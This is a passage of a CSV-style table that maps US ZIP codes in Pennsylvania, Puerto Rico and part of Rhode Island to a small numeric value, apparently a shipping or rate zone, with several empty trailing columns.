US-PA-18469,US,PA,18469,6,,,, US-PA-18470,US,PA,18470,6,,,, US-PA-18471,US,PA,18471,6,,,, US-PA-18472,US,PA,18472,6,,,, US-PA-18473,US,PA,18473,6,,,, US-PA-18501,US,PA,18501,6,,,, US-PA-18502,US,PA,18502,6,,,, US-PA-18503,US,PA,18503,6,,,, US-PA-18504,US,PA,18504,6,,,, US-PA-18505,US,PA,18505,6,,,, US-PA-18507,US,PA,18507,6,,,, US-PA-18508,US,PA,18508,6,,,, US-PA-18509,US,PA,18509,6,,,, US-PA-18510,US,PA,18510,6,,,, US-PA-18512,US,PA,18512,6,,,, US-PA-18515,US,PA,18515,6,,,, US-PA-18517,US,PA,18517,6,,,, US-PA-18518,US,PA,18518,6,,,, US-PA-18519,US,PA,18519,6,,,, US-PA-18540,US,PA,18540,6,,,, US-PA-18577,US,PA,18577,6,,,, US-PA-18601,US,PA,18601,6,,,, US-PA-18602,US,PA,18602,6,,,, US-PA-18603,US,PA,18603,6,,,, US-PA-18610,US,PA,18610,6,,,, US-PA-18611,US,PA,18611,6,,,, US-PA-18612,US,PA,18612,6,,,, US-PA-18614,US,PA,18614,6,,,, US-PA-18615,US,PA,18615,6,,,, US-PA-18616,US,PA,18616,6,,,, US-PA-18617,US,PA,18617,6,,,, US-PA-18618,US,PA,18618,6,,,, US-PA-18619,US,PA,18619,6,,,, US-PA-18621,US,PA,18621,6,,,, US-PA-18622,US,PA,18622,6,,,, US-PA-18623,US,PA,18623,6,,,, US-PA-18624,US,PA,18624,6,,,, US-PA-18625,US,PA,18625,6,,,, US-PA-18626,US,PA,18626,6,,,, US-PA-18627,US,PA,18627,6,,,, US-PA-18628,US,PA,18628,6,,,, US-PA-18629,US,PA,18629,6,,,, US-PA-18630,US,PA,18630,6,,,, US-PA-18631,US,PA,18631,6,,,, US-PA-18632,US,PA,18632,6,,,, US-PA-18634,US,PA,18634,6,,,, US-PA-18635,US,PA,18635,6,,,, US-PA-18636,US,PA,18636,6,,,, US-PA-18640,US,PA,18640,6,,,, US-PA-18641,US,PA,18641,6,,,, US-PA-18642,US,PA,18642,6,,,, US-PA-18643,US,PA,18643,6,,,, US-PA-18644,US,PA,18644,6,,,, US-PA-18651,US,PA,18651,6,,,, US-PA-18653,US,PA,18653,6,,,, US-PA-18654,US,PA,18654,6,,,, US-PA-18655,US,PA,18655,6,,,, US-PA-18656,US,PA,18656,6,,,, US-PA-18657,US,PA,18657,6,,,, US-PA-18660,US,PA,18660,6,,,, US-PA-18661,US,PA,18661,6,,,, US-PA-18690,US,PA,18690,6,,,, US-PA-18701,US,PA,18701,6,,,, US-PA-18702,US,PA,18702,6,,,, US-PA-18703,US,PA,18703,6,,,, US-PA-18704,US,PA,18704,6,,,, US-PA-18705,US,PA,18705,6,,,, US-PA-18706,US,PA,18706,6,,,, US-PA-18707,US,PA,18707,6,,,, US-PA-18708,US,PA,18708,6,,,, US-PA-18709,US,PA,18709,6,,,, US-PA-18710,US,PA,18710,6,,,, US-PA-18711,US,PA,18711,6,,,, US-PA-18762,US,PA,18762,6,,,, US-PA-18764,US,PA,18764,6,,,, US-PA-18765,US,PA,18765,6,,,, US-PA-18766,US,PA,18766,6,,,, US-PA-18767,US,PA,18767,6,,,, US-PA-18769,US,PA,18769,6,,,, US-PA-18773,US,PA,18773,6,,,, US-PA-18801,US,PA,18801,6,,,, US-PA-18810,US,PA,18810,6,,,, US-PA-18812,US,PA,18812,6,,,, US-PA-18813,US,PA,18813,6,,,, US-PA-18814,US,PA,18814,6,,,, US-PA-18815,US,PA,18815,6,,,, US-PA-18816,US,PA,18816,6,,,, US-PA-18817,US,PA,18817,6,,,, US-PA-18818,US,PA,18818,6,,,, US-PA-18820,US,PA,18820,6,,,, US-PA-18821,US,PA,18821,6,,,, US-PA-18822,US,PA,18822,6,,,, US-PA-18823,US,PA,18823,6,,,, US-PA-18824,US,PA,18824,6,,,, US-PA-18825,US,PA,18825,6,,,, US-PA-18826,US,PA,18826,6,,,, US-PA-18827,US,PA,18827,6,,,, US-PA-18828,US,PA,18828,6,,,, US-PA-18829,US,PA,18829,6,,,, US-PA-18830,US,PA,18830,6,,,, US-PA-18831,US,PA,18831,6,,,, US-PA-18832,US,PA,18832,6,,,, US-PA-18833,US,PA,18833,6,,,, US-PA-18834,US,PA,18834,6,,,, US-PA-18837,US,PA,18837,6,,,, US-PA-18840,US,PA,18840,6,,,, US-PA-18842,US,PA,18842,6,,,, US-PA-18843,US,PA,18843,6,,,, US-PA-18844,US,PA,18844,6,,,, US-PA-18845,US,PA,18845,6,,,, US-PA-18846,US,PA,18846,6,,,, US-PA-18847,US,PA,18847,6,,,, US-PA-18848,US,PA,18848,6,,,, US-PA-18850,US,PA,18850,6,,,, US-PA-18851,US,PA,18851,6,,,, US-PA-18853,US,PA,18853,6,,,, US-PA-18854,US,PA,18854,6,,,, US-PA-18901,US,PA,18901,6,,,, US-PA-18902,US,PA,18902,6,,,, US-PA-18910,US,PA,18910,6,,,, US-PA-18911,US,PA,18911,6,,,, US-PA-18912,US,PA,18912,6,,,, US-PA-18913,US,PA,18913,6,,,, US-PA-18914,US,PA,18914,6,,,, US-PA-18915,US,PA,18915,6,,,, US-PA-18916,US,PA,18916,6,,,, US-PA-18917,US,PA,18917,6,,,, US-PA-18918,US,PA,18918,6,,,, US-PA-18920,US,PA,18920,6,,,, US-PA-18921,US,PA,18921,6,,,, US-PA-18922,US,PA,18922,6,,,, US-PA-18923,US,PA,18923,6,,,, US-PA-18924,US,PA,18924,6,,,, US-PA-18925,US,PA,18925,6,,,, US-PA-18926,US,PA,18926,6,,,, US-PA-18927,US,PA,18927,6,,,, US-PA-18928,US,PA,18928,6,,,, US-PA-18929,US,PA,18929,6,,,, US-PA-18930,US,PA,18930,6,,,, US-PA-18931,US,PA,18931,6,,,, US-PA-18932,US,PA,18932,6,,,, US-PA-18933,US,PA,18933,6,,,, US-PA-18934,US,PA,18934,6,,,, US-PA-18935,US,PA,18935,6,,,, US-PA-18936,US,PA,18936,6,,,, US-PA-18938,US,PA,18938,6,,,, US-PA-18940,US,PA,18940,6,,,, US-PA-18942,US,PA,18942,6,,,, US-PA-18943,US,PA,18943,6,,,, US-PA-18944,US,PA,18944,6,,,, US-PA-18946,US,PA,18946,6,,,, US-PA-18947,US,PA,18947,6,,,, US-PA-18949,US,PA,18949,6,,,, US-PA-18950,US,PA,18950,6,,,, US-PA-18951,US,PA,18951,6,,,, US-PA-18953,US,PA,18953,6,,,, US-PA-18954,US,PA,18954,6,,,, US-PA-18955,US,PA,18955,6,,,, US-PA-18956,US,PA,18956,6,,,, US-PA-18957,US,PA,18957,6,,,, US-PA-18958,US,PA,18958,6,,,, US-PA-18960,US,PA,18960,6,,,, US-PA-18962,US,PA,18962,6,,,, US-PA-18963,US,PA,18963,6,,,, US-PA-18964,US,PA,18964,6,,,, US-PA-18966,US,PA,18966,6,,,, US-PA-18968,US,PA,18968,6,,,, US-PA-18969,US,PA,18969,6,,,, US-PA-18970,US,PA,18970,6,,,, US-PA-18971,US,PA,18971,6,,,, US-PA-18972,US,PA,18972,6,,,, US-PA-18974,US,PA,18974,6,,,, US-PA-18976,US,PA,18976,6,,,, US-PA-18977,US,PA,18977,6,,,, US-PA-18979,US,PA,18979,6,,,, US-PA-18980,US,PA,18980,6,,,, US-PA-18981,US,PA,18981,6,,,, US-PA-18991,US,PA,18991,6,,,, US-PA-19001,US,PA,19001,6,,,, US-PA-19002,US,PA,19002,6,,,, US-PA-19003,US,PA,19003,6,,,, US-PA-19004,US,PA,19004,6,,,, US-PA-19006,US,PA,19006,6,,,, US-PA-19007,US,PA,19007,6,,,, US-PA-19008,US,PA,19008,6,,,, US-PA-19009,US,PA,19009,6,,,, US-PA-19010,US,PA,19010,6,,,, US-PA-19012,US,PA,19012,6,,,, US-PA-19013,US,PA,19013,6,,,, US-PA-19014,US,PA,19014,6,,,, US-PA-19015,US,PA,19015,6,,,, US-PA-19016,US,PA,19016,6,,,, US-PA-19017,US,PA,19017,6,,,, US-PA-19018,US,PA,19018,6,,,, US-PA-19019,US,PA,19019,8,,,, US-PA-19020,US,PA,19020,6,,,, US-PA-19021,US,PA,19021,6,,,, US-PA-19022,US,PA,19022,6,,,, US-PA-19023,US,PA,19023,6,,,, US-PA-19025,US,PA,19025,6,,,, US-PA-19026,US,PA,19026,6,,,, US-PA-19027,US,PA,19027,6,,,, US-PA-19028,US,PA,19028,6,,,, US-PA-19029,US,PA,19029,6,,,, US-PA-19030,US,PA,19030,6,,,, US-PA-19031,US,PA,19031,6,,,, US-PA-19032,US,PA,19032,6,,,, US-PA-19033,US,PA,19033,6,,,, US-PA-19034,US,PA,19034,6,,,, US-PA-19035,US,PA,19035,6,,,, US-PA-19036,US,PA,19036,6,,,, US-PA-19037,US,PA,19037,6,,,, US-PA-19038,US,PA,19038,6,,,, US-PA-19039,US,PA,19039,6,,,, US-PA-19040,US,PA,19040,6,,,, US-PA-19041,US,PA,19041,6,,,, US-PA-19043,US,PA,19043,6,,,, US-PA-19044,US,PA,19044,6,,,, US-PA-19046,US,PA,19046,6,,,, US-PA-19047,US,PA,19047,6,,,, US-PA-19048,US,PA,19048,6,,,, US-PA-19049,US,PA,19049,6,,,, US-PA-19050,US,PA,19050,6,,,, US-PA-19052,US,PA,19052,6,,,, US-PA-19053,US,PA,19053,6,,,, US-PA-19054,US,PA,19054,6,,,, US-PA-19055,US,PA,19055,6,,,, US-PA-19056,US,PA,19056,6,,,, US-PA-19057,US,PA,19057,6,,,, US-PA-19058,US,PA,19058,6,,,, US-PA-19060,US,PA,19060,6,,,, US-PA-19061,US,PA,19061,6,,,, US-PA-19063,US,PA,19063,6,,,, US-PA-19064,US,PA,19064,6,,,, US-PA-19065,US,PA,19065,6,,,, US-PA-19066,US,PA,19066,6,,,, US-PA-19067,US,PA,19067,6,,,, US-PA-19070,US,PA,19070,6,,,, US-PA-19072,US,PA,19072,6,,,, US-PA-19073,US,PA,19073,6,,,, US-PA-19074,US,PA,19074,6,,,, US-PA-19075,US,PA,19075,6,,,, US-PA-19076,US,PA,19076,6,,,, US-PA-19078,US,PA,19078,6,,,, US-PA-19079,US,PA,19079,6,,,, US-PA-19080,US,PA,19080,6,,,, US-PA-19081,US,PA,19081,6,,,, US-PA-19082,US,PA,19082,6,,,, US-PA-19083,US,PA,19083,6,,,, US-PA-19085,US,PA,19085,6,,,, US-PA-19086,US,PA,19086,6,,,, US-PA-19087,US,PA,19087,6,,,, US-PA-19088,US,PA,19088,6,,,, US-PA-19089,US,PA,19089,6,,,, US-PA-19090,US,PA,19090,6,,,, US-PA-19091,US,PA,19091,6,,,, US-PA-19092,US,PA,19092,8,,,, US-PA-19093,US,PA,19093,8,,,, US-PA-19094,US,PA,19094,6,,,, US-PA-19095,US,PA,19095,6,,,, US-PA-19096,US,PA,19096,6,,,, US-PA-19098,US,PA,19098,6,,,, US-PA-19099,US,PA,19099,8,,,, US-PA-19101,US,PA,19101,8,,,, US-PA-19102,US,PA,19102,8,,,, US-PA-19103,US,PA,19103,8,,,, US-PA-19104,US,PA,19104,8,,,, US-PA-19105,US,PA,19105,8,,,, US-PA-19106,US,PA,19106,8,,,, US-PA-19107,US,PA,19107,8,,,, US-PA-19108,US,PA,19108,8,,,, US-PA-19109,US,PA,19109,8,,,, US-PA-19110,US,PA,19110,8,,,, US-PA-19111,US,PA,19111,8,,,, US-PA-19112,US,PA,19112,8,,,, US-PA-19113,US,PA,19113,6,,,, US-PA-19114,US,PA,19114,8,,,, US-PA-19115,US,PA,19115,8,,,, US-PA-19116,US,PA,19116,8,,,, US-PA-19118,US,PA,19118,8,,,, US-PA-19119,US,PA,19119,8,,,, US-PA-19120,US,PA,19120,8,,,, US-PA-19121,US,PA,19121,8,,,, US-PA-19122,US,PA,19122,8,,,, US-PA-19123,US,PA,19123,8,,,, US-PA-19124,US,PA,19124,8,,,, US-PA-19125,US,PA,19125,8,,,, US-PA-19126,US,PA,19126,8,,,, US-PA-19127,US,PA,19127,8,,,, US-PA-19128,US,PA,19128,8,,,, US-PA-19129,US,PA,19129,8,,,, US-PA-19130,US,PA,19130,8,,,, US-PA-19131,US,PA,19131,8,,,, US-PA-19132,US,PA,19132,8,,,, US-PA-19133,US,PA,19133,8,,,, US-PA-19134,US,PA,19134,8,,,, US-PA-19135,US,PA,19135,8,,,, US-PA-19136,US,PA,19136,8,,,, US-PA-19137,US,PA,19137,8,,,, US-PA-19138,US,PA,19138,8,,,, US-PA-19139,US,PA,19139,8,,,, US-PA-19140,US,PA,19140,8,,,, US-PA-19141,US,PA,19141,8,,,, US-PA-19142,US,PA,19142,8,,,, US-PA-19143,US,PA,19143,8,,,, US-PA-19144,US,PA,19144,8,,,, US-PA-19145,US,PA,19145,8,,,, US-PA-19146,US,PA,19146,8,,,, US-PA-19147,US,PA,19147,8,,,, US-PA-19148,US,PA,19148,8,,,, US-PA-19149,US,PA,19149,8,,,, US-PA-19150,US,PA,19150,8,,,, US-PA-19151,US,PA,19151,8,,,, US-PA-19152,US,PA,19152,8,,,, US-PA-19153,US,PA,19153,8,,,, US-PA-19154,US,PA,19154,8,,,, US-PA-19155,US,PA,19155,8,,,, US-PA-19160,US,PA,19160,8,,,, US-PA-19161,US,PA,19161,8,,,, US-PA-19162,US,PA,19162,8,,,, US-PA-19170,US,PA,19170,8,,,, US-PA-19171,US,PA,19171,8,,,, US-PA-19172,US,PA,19172,8,,,, US-PA-19173,US,PA,19173,8,,,, US-PA-19175,US,PA,19175,8,,,, US-PA-19176,US,PA,19176,8,,,, US-PA-19177,US,PA,19177,8,,,, US-PA-19178,US,PA,19178,8,,,, US-PA-19179,US,PA,19179,8,,,, US-PA-19181,US,PA,19181,8,,,, US-PA-19182,US,PA,19182,8,,,, US-PA-19183,US,PA,19183,8,,,, US-PA-19184,US,PA,19184,8,,,, US-PA-19185,US,PA,19185,8,,,, US-PA-19187,US,PA,19187,8,,,, US-PA-19188,US,PA,19188,8,,,, US-PA-19190,US,PA,19190,8,,,, US-PA-19191,US,PA,19191,8,,,, US-PA-19192,US,PA,19192,8,,,, US-PA-19193,US,PA,19193,8,,,, US-PA-19194,US,PA,19194,8,,,, US-PA-19195,US,PA,19195,8,,,, US-PA-19196,US,PA,19196,8,,,, US-PA-19197,US,PA,19197,8,,,, US-PA-19244,US,PA,19244,8,,,, US-PA-19255,US,PA,19255,8,,,, US-PA-19301,US,PA,19301,6,,,, US-PA-19310,US,PA,19310,6,,,, US-PA-19311,US,PA,19311,6,,,, US-PA-19312,US,PA,19312,6,,,, US-PA-19316,US,PA,19316,6,,,, US-PA-19317,US,PA,19317,6,,,, US-PA-19318,US,PA,19318,6,,,, US-PA-19319,US,PA,19319,6,,,, US-PA-19320,US,PA,19320,6,,,, US-PA-19330,US,PA,19330,6,,,, US-PA-19331,US,PA,19331,6,,,, US-PA-19333,US,PA,19333,6,,,, US-PA-19335,US,PA,19335,6,,,, US-PA-19339,US,PA,19339,6,,,, US-PA-19340,US,PA,19340,6,,,, US-PA-19341,US,PA,19341,6,,,, US-PA-19342,US,PA,19342,6,,,, US-PA-19343,US,PA,19343,6,,,, US-PA-19344,US,PA,19344,6,,,, US-PA-19345,US,PA,19345,6,,,, US-PA-19346,US,PA,19346,6,,,, US-PA-19347,US,PA,19347,6,,,, US-PA-19348,US,PA,19348,6,,,, US-PA-19350,US,PA,19350,6,,,, US-PA-19351,US,PA,19351,6,,,, US-PA-19352,US,PA,19352,6,,,, US-PA-19353,US,PA,19353,6,,,, US-PA-19354,US,PA,19354,6,,,, US-PA-19355,US,PA,19355,6,,,, US-PA-19357,US,PA,19357,6,,,, US-PA-19358,US,PA,19358,6,,,, US-PA-19360,US,PA,19360,6,,,, US-PA-19362,US,PA,19362,6,,,, US-PA-19363,US,PA,19363,6,,,, US-PA-19365,US,PA,19365,6,,,, US-PA-19366,US,PA,19366,6,,,, US-PA-19367,US,PA,19367,6,,,, US-PA-19369,US,PA,19369,6,,,, US-PA-19371,US,PA,19371,6,,,, US-PA-19372,US,PA,19372,6,,,, US-PA-19373,US,PA,19373,6,,,, US-PA-19374,US,PA,19374,6,,,, US-PA-19375,US,PA,19375,6,,,, US-PA-19376,US,PA,19376,6,,,, US-PA-19380,US,PA,19380,6,,,, US-PA-19381,US,PA,19381,6,,,, US-PA-19382,US,PA,19382,6,,,, US-PA-19383,US,PA,19383,6,,,, US-PA-19390,US,PA,19390,6,,,, US-PA-19395,US,PA,19395,6,,,, US-PA-19397,US,PA,19397,6,,,, US-PA-19398,US,PA,19398,6,,,, US-PA-19399,US,PA,19399,6,,,, US-PA-19401,US,PA,19401,6,,,, US-PA-19403,US,PA,19403,6,,,, US-PA-19404,US,PA,19404,6,,,, US-PA-19405,US,PA,19405,6,,,, US-PA-19406,US,PA,19406,6,,,, US-PA-19407,US,PA,19407,6,,,, US-PA-19408,US,PA,19408,6,,,, US-PA-19415,US,PA,19415,6,,,, US-PA-19420,US,PA,19420,6,,,, US-PA-19421,US,PA,19421,6,,,, US-PA-19422,US,PA,19422,6,,,, US-PA-19423,US,PA,19423,6,,,, US-PA-19424,US,PA,19424,6,,,, US-PA-19425,US,PA,19425,6,,,, US-PA-19426,US,PA,19426,6,,,, US-PA-19428,US,PA,19428,6,,,, US-PA-19429,US,PA,19429,6,,,, US-PA-19430,US,PA,19430,6,,,, US-PA-19432,US,PA,19432,6,,,, US-PA-19435,US,PA,19435,6,,,, US-PA-19436,US,PA,19436,6,,,, US-PA-19437,US,PA,19437,6,,,, US-PA-19438,US,PA,19438,6,,,, US-PA-19440,US,PA,19440,6,,,, US-PA-19441,US,PA,19441,6,,,, US-PA-19442,US,PA,19442,6,,,, US-PA-19443,US,PA,19443,6,,,, US-PA-19444,US,PA,19444,6,,,, US-PA-19446,US,PA,19446,6,,,, US-PA-19450,US,PA,19450,6,,,, US-PA-19451,US,PA,19451,6,,,, US-PA-19453,US,PA,19453,6,,,, US-PA-19454,US,PA,19454,6,,,, US-PA-19455,US,PA,19455,6,,,, US-PA-19456,US,PA,19456,6,,,, US-PA-19457,US,PA,19457,6,,,, US-PA-19460,US,PA,19460,6,,,, US-PA-19462,US,PA,19462,6,,,, US-PA-19464,US,PA,19464,6,,,, US-PA-19465,US,PA,19465,6,,,, US-PA-19468,US,PA,19468,6,,,, US-PA-19470,US,PA,19470,6,,,, US-PA-19472,US,PA,19472,6,,,, US-PA-19473,US,PA,19473,6,,,, US-PA-19474,US,PA,19474,6,,,, US-PA-19475,US,PA,19475,6,,,, US-PA-19477,US,PA,19477,6,,,, US-PA-19478,US,PA,19478,6,,,, US-PA-19480,US,PA,19480,6,,,, US-PA-19481,US,PA,19481,6,,,, US-PA-19482,US,PA,19482,6,,,, US-PA-19484,US,PA,19484,6,,,, US-PA-19486,US,PA,19486,6,,,, US-PA-19490,US,PA,19490,6,,,, US-PA-19492,US,PA,19492,6,,,, US-PA-19493,US,PA,19493,6,,,, US-PA-19494,US,PA,19494,6,,,, US-PA-19495,US,PA,19495,6,,,, US-PA-19496,US,PA,19496,6,,,, US-PA-19501,US,PA,19501,6,,,, US-PA-19503,US,PA,19503,6,,,, US-PA-19504,US,PA,19504,6,,,, US-PA-19505,US,PA,19505,6,,,, US-PA-19506,US,PA,19506,6,,,, US-PA-19507,US,PA,19507,6,,,, US-PA-19508,US,PA,19508,6,,,, US-PA-19510,US,PA,19510,6,,,, US-PA-19511,US,PA,19511,6,,,, US-PA-19512,US,PA,19512,6,,,, US-PA-19516,US,PA,19516,6,,,, US-PA-19518,US,PA,19518,6,,,, US-PA-19519,US,PA,19519,6,,,, US-PA-19520,US,PA,19520,6,,,, US-PA-19522,US,PA,19522,6,,,, US-PA-19523,US,PA,19523,6,,,, US-PA-19525,US,PA,19525,6,,,, US-PA-19526,US,PA,19526,6,,,, US-PA-19529,US,PA,19529,6,,,, US-PA-19530,US,PA,19530,6,,,, US-PA-19533,US,PA,19533,6,,,, US-PA-19534,US,PA,19534,6,,,, US-PA-19535,US,PA,19535,6,,,, US-PA-19536,US,PA,19536,6,,,, US-PA-19538,US,PA,19538,6,,,, US-PA-19539,US,PA,19539,6,,,, US-PA-19540,US,PA,19540,6,,,, US-PA-19541,US,PA,19541,6,,,, US-PA-19542,US,PA,19542,6,,,, US-PA-19543,US,PA,19543,6,,,, US-PA-19544,US,PA,19544,6,,,, US-PA-19545,US,PA,19545,6,,,, US-PA-19547,US,PA,19547,6,,,, US-PA-19548,US,PA,19548,6,,,, US-PA-19549,US,PA,19549,6,,,, US-PA-19550,US,PA,19550,6,,,, US-PA-19551,US,PA,19551,6,,,, US-PA-19554,US,PA,19554,6,,,, US-PA-19555,US,PA,19555,6,,,, US-PA-19559,US,PA,19559,6,,,, US-PA-19560,US,PA,19560,6,,,, US-PA-19562,US,PA,19562,6,,,, US-PA-19564,US,PA,19564,6,,,, US-PA-19565,US,PA,19565,6,,,, US-PA-19567,US,PA,19567,6,,,, US-PA-19601,US,PA,19601,6,,,, US-PA-19602,US,PA,19602,6,,,, US-PA-19603,US,PA,19603,6,,,, US-PA-19604,US,PA,19604,6,,,, US-PA-19605,US,PA,19605,6,,,, US-PA-19606,US,PA,19606,6,,,, US-PA-19607,US,PA,19607,6,,,, US-PA-19608,US,PA,19608,6,,,, US-PA-19609,US,PA,19609,6,,,, US-PA-19610,US,PA,19610,6,,,, US-PA-19611,US,PA,19611,6,,,, US-PA-19612,US,PA,19612,6,,,, US-PR-00601,US,PR,00601,7,,,, US-PR-00602,US,PR,00602,7,,,, US-PR-00603,US,PR,00603,7,,,, US-PR-00604,US,PR,00604,7,,,, US-PR-00605,US,PR,00605,7,,,, US-PR-00606,US,PR,00606,7,,,, US-PR-00610,US,PR,00610,7,,,, US-PR-00611,US,PR,00611,7,,,, US-PR-00612,US,PR,00612,7,,,, US-PR-00613,US,PR,00613,7,,,, US-PR-00614,US,PR,00614,7,,,, US-PR-00616,US,PR,00616,7,,,, US-PR-00617,US,PR,00617,7,,,, US-PR-00622,US,PR,00622,7,,,, US-PR-00623,US,PR,00623,7,,,, US-PR-00624,US,PR,00624,7,,,, US-PR-00627,US,PR,00627,7,,,, US-PR-00631,US,PR,00631,7,,,, US-PR-00636,US,PR,00636,7,,,, US-PR-00637,US,PR,00637,7,,,, US-PR-00638,US,PR,00638,7,,,, US-PR-00641,US,PR,00641,7,,,, US-PR-00646,US,PR,00646,7,,,, US-PR-00647,US,PR,00647,7,,,, US-PR-00650,US,PR,00650,7,,,, US-PR-00652,US,PR,00652,7,,,, US-PR-00653,US,PR,00653,7,,,, US-PR-00656,US,PR,00656,7,,,, US-PR-00659,US,PR,00659,7,,,, US-PR-00660,US,PR,00660,7,,,, US-PR-00662,US,PR,00662,7,,,, US-PR-00664,US,PR,00664,7,,,, US-PR-00667,US,PR,00667,7,,,, US-PR-00669,US,PR,00669,7,,,, US-PR-00670,US,PR,00670,7,,,, US-PR-00674,US,PR,00674,7,,,, US-PR-00676,US,PR,00676,7,,,, US-PR-00677,US,PR,00677,7,,,, US-PR-00678,US,PR,00678,7,,,, US-PR-00680,US,PR,00680,7,,,, US-PR-00681,US,PR,00681,7,,,, US-PR-00682,US,PR,00682,7,,,, US-PR-00683,US,PR,00683,7,,,, US-PR-00685,US,PR,00685,7,,,, US-PR-00687,US,PR,00687,7,,,, US-PR-00688,US,PR,00688,7,,,, US-PR-00690,US,PR,00690,7,,,, US-PR-00692,US,PR,00692,7,,,, US-PR-00693,US,PR,00693,7,,,, US-PR-00694,US,PR,00694,7,,,, US-PR-00698,US,PR,00698,7,,,, US-PR-00703,US,PR,00703,7,,,, US-PR-00704,US,PR,00704,7,,,, US-PR-00705,US,PR,00705,7,,,, US-PR-00707,US,PR,00707,7,,,, US-PR-00714,US,PR,00714,7,,,, US-PR-00715,US,PR,00715,7,,,, US-PR-00716,US,PR,00716,7,,,, US-PR-00717,US,PR,00717,7,,,, US-PR-00718,US,PR,00718,7,,,, US-PR-00719,US,PR,00719,7,,,, US-PR-00720,US,PR,00720,7,,,, US-PR-00721,US,PR,00721,7,,,, US-PR-00723,US,PR,00723,7,,,, US-PR-00725,US,PR,00725,7,,,, US-PR-00726,US,PR,00726,7,,,, US-PR-00727,US,PR,00727,7,,,, US-PR-00728,US,PR,00728,7,,,, US-PR-00729,US,PR,00729,7,,,, US-PR-00730,US,PR,00730,7,,,, US-PR-00731,US,PR,00731,7,,,, US-PR-00732,US,PR,00732,7,,,, US-PR-00733,US,PR,00733,7,,,, US-PR-00734,US,PR,00734,7,,,, US-PR-00735,US,PR,00735,7,,,, US-PR-00736,US,PR,00736,7,,,, US-PR-00737,US,PR,00737,7,,,, US-PR-00738,US,PR,00738,7,,,, US-PR-00739,US,PR,00739,7,,,, US-PR-00740,US,PR,00740,7,,,, US-PR-00741,US,PR,00741,7,,,, US-PR-00742,US,PR,00742,7,,,, US-PR-00744,US,PR,00744,7,,,, US-PR-00745,US,PR,00745,7,,,, US-PR-00751,US,PR,00751,7,,,, US-PR-00754,US,PR,00754,7,,,, US-PR-00757,US,PR,00757,7,,,, US-PR-00765,US,PR,00765,7,,,, US-PR-00766,US,PR,00766,7,,,, US-PR-00767,US,PR,00767,7,,,, US-PR-00769,US,PR,00769,7,,,, US-PR-00771,US,PR,00771,7,,,, US-PR-00772,US,PR,00772,7,,,, US-PR-00773,US,PR,00773,7,,,, US-PR-00775,US,PR,00775,7,,,, US-PR-00777,US,PR,00777,7,,,, US-PR-00778,US,PR,00778,7,,,, US-PR-00780,US,PR,00780,7,,,, US-PR-00782,US,PR,00782,7,,,, US-PR-00783,US,PR,00783,7,,,, US-PR-00784,US,PR,00784,7,,,, US-PR-00785,US,PR,00785,7,,,, US-PR-00786,US,PR,00786,7,,,, US-PR-00791,US,PR,00791,7,,,, US-PR-00792,US,PR,00792,7,,,, US-PR-00794,US,PR,00794,7,,,, US-PR-00795,US,PR,00795,7,,,, US-PR-00901,US,PR,00901,7,,,, US-PR-00902,US,PR,00902,7,,,, US-PR-00906,US,PR,00906,7,,,, US-PR-00907,US,PR,00907,7,,,, US-PR-00908,US,PR,00908,7,,,, US-PR-00909,US,PR,00909,7,,,, US-PR-00910,US,PR,00910,7,,,, US-PR-00911,US,PR,00911,7,,,, US-PR-00912,US,PR,00912,7,,,, US-PR-00913,US,PR,00913,7,,,, US-PR-00914,US,PR,00914,7,,,, US-PR-00915,US,PR,00915,7,,,, US-PR-00916,US,PR,00916,7,,,, US-PR-00917,US,PR,00917,7,,,, US-PR-00918,US,PR,00918,7,,,, US-PR-00919,US,PR,00919,7,,,, US-PR-00920,US,PR,00920,7,,,, US-PR-00921,US,PR,00921,7,,,, US-PR-00922,US,PR,00922,7,,,, US-PR-00923,US,PR,00923,7,,,, US-PR-00924,US,PR,00924,7,,,, US-PR-00925,US,PR,00925,7,,,, US-PR-00926,US,PR,00926,7,,,, US-PR-00927,US,PR,00927,7,,,, US-PR-00928,US,PR,00928,7,,,, US-PR-00929,US,PR,00929,7,,,, US-PR-00930,US,PR,00930,7,,,, US-PR-00931,US,PR,00931,7,,,, US-PR-00933,US,PR,00933,7,,,, US-PR-00934,US,PR,00934,7,,,, US-PR-00935,US,PR,00935,7,,,, US-PR-00936,US,PR,00936,7,,,, US-PR-00937,US,PR,00937,7,,,, US-PR-00939,US,PR,00939,7,,,, US-PR-00940,US,PR,00940,7,,,, US-PR-00949,US,PR,00949,7,,,, US-PR-00950,US,PR,00950,7,,,, US-PR-00951,US,PR,00951,7,,,, US-PR-00952,US,PR,00952,7,,,, US-PR-00953,US,PR,00953,7,,,, US-PR-00954,US,PR,00954,7,,,, US-PR-00955,US,PR,00955,7,,,, US-PR-00956,US,PR,00956,7,,,, US-PR-00957,US,PR,00957,7,,,, US-PR-00958,US,PR,00958,7,,,, US-PR-00959,US,PR,00959,7,,,, US-PR-00960,US,PR,00960,7,,,, US-PR-00961,US,PR,00961,7,,,, US-PR-00962,US,PR,00962,7,,,, US-PR-00963,US,PR,00963,7,,,, US-PR-00965,US,PR,00965,7,,,, US-PR-00966,US,PR,00966,7,,,, US-PR-00968,US,PR,00968,7,,,, US-PR-00969,US,PR,00969,7,,,, US-PR-00970,US,PR,00970,7,,,, US-PR-00971,US,PR,00971,7,,,, US-PR-00975,US,PR,00975,7,,,, US-PR-00976,US,PR,00976,7,,,, US-PR-00977,US,PR,00977,7,,,, US-PR-00978,US,PR,00978,7,,,, US-PR-00979,US,PR,00979,7,,,, US-PR-00981,US,PR,00981,7,,,, US-PR-00982,US,PR,00982,7,,,, US-PR-00983,US,PR,00983,7,,,, US-PR-00984,US,PR,00984,7,,,, US-PR-00985,US,PR,00985,7,,,, US-PR-00986,US,PR,00986,7,,,, US-PR-00987,US,PR,00987,7,,,, US-PR-00988,US,PR,00988,7,,,, US-RI-02801,US,RI,02801,7,,,, US-RI-02802,US,RI,02802,7,,,, US-RI-02804,US,RI,02804,7,,,, US-RI-02806,US,RI,02806,7,,,, US-RI-02807,US,RI,02807,7,,,, US-RI-02808,US,RI,02808,7,,,, US-RI-02809,US,RI,02809,7,,,, US-RI-02812,US,RI,02812,7,,,, US-RI-02813,US,RI,02813,7,,,, US-RI-02814,US,RI,02814,7,,,, US-RI-02815,US,RI,02815,7,,,, US-RI-02816,US,RI,02816,7,,,, US-RI-02817,US,RI,02817,7,,,, US-RI-02818,US,RI,02818,7,,,, US-RI-02822,US,RI,02822,7,,,, US-RI-02823,US,RI,02823,7,,,, US-RI-02824,US,RI,02824,7,,,, US-RI-02825,US,RI,02825,7,,,, US-RI-02826,US,RI,02826,7,,,, US-RI-02827,US,RI,02827,7,,,, US-RI-02828,US,RI,02828,7,,,, US-RI-02829,US,RI,02829,7,,,, US-RI-02830,US,RI,02830,7,,,, 